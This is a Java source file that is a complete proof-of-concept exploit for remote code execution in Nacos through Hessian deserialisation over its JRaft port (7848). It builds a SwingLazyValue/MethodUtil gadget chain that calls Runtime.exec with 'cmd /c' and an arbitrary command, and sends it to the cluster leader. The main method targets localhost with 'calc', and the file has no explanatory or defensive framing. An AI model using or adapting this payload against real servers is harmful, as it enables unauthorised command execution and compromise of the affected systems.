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| package org.example;
import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alipay.sofa.jraft.RouteTable;
import com.alipay.sofa.jraft.conf.Configuration;
import com.alipay.sofa.jraft.entity.PeerId;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.google.protobuf.ByteString;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.concurrent.ConcurrentHashMap;
public class Main {
public static void send(String addr, byte[] payload) throws Exception {
Configuration conf = new Configuration();
conf.parse(addr);
RouteTable.getInstance().updateConfiguration("nacos", conf);
CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();
PeerId leader = PeerId.parsePeer(addr);
Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");
parserClasses.setAccessible(true);
ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());
map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());
final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup("naming_persistent_service_v2").setData(ByteString.copyFrom(payload)).build();
Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest, 5000);
}
private static byte[] build(String cmd) throws Exception {
String[] command = {"cmd", "/c", cmd};
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Runtime.class.getMethod("exec", String[].class);
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{command}}});
// Object value = swingLazyValue.createValue(new UIDefaults());
// Method getClassFactoryMethod = SerializerFactory.class.getDeclaredMethod("getClassFactory");
// SwingLazyValue swingLazyValue1 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{getClassFactoryMethod, SerializerFactory.createDefault(), new Object[]{}}});
// Object value = swingLazyValue1.createValue(new UIDefaults());
//
// Method allowMethod = ClassFactory.class.getDeclaredMethod("allow", String.class);
// SwingLazyValue swingLazyValue2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{allowMethod, value, new Object[]{"*"}}});
// Object value1 = swingLazyValue2.createValue(new UIDefaults());
// System.out.println(value1);
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("key", swingLazyValue);
u2.put("key", swingLazyValue);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, u1, null, null);
Object node2 = constructor.newInstance(0, u2, null, null);
Field key = node.getDeclaredField("key");
key.setAccessible(true);
key.set(node1, u1);
key.set(node2, u2);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
table.set(hashMap, arr);
HashMap hashMap1 = new HashMap();
size.set(hashMap1, 2);
table.set(hashMap1, arr);
HashMap map = new HashMap();
map.put(hashMap, hashMap);
map.put(hashMap1, hashMap1);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(map);
output.flushBuffer();
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(baos.toByteArray()));
SerializerFactory.createDefault().getClassFactory().allow("*");
hessian2Input.readObject();
return baos.toByteArray();
}
public static void main(String[] args) throws Exception {
byte[] bytes = build("calc");
send("localhost:7848", bytes);
}
}
|
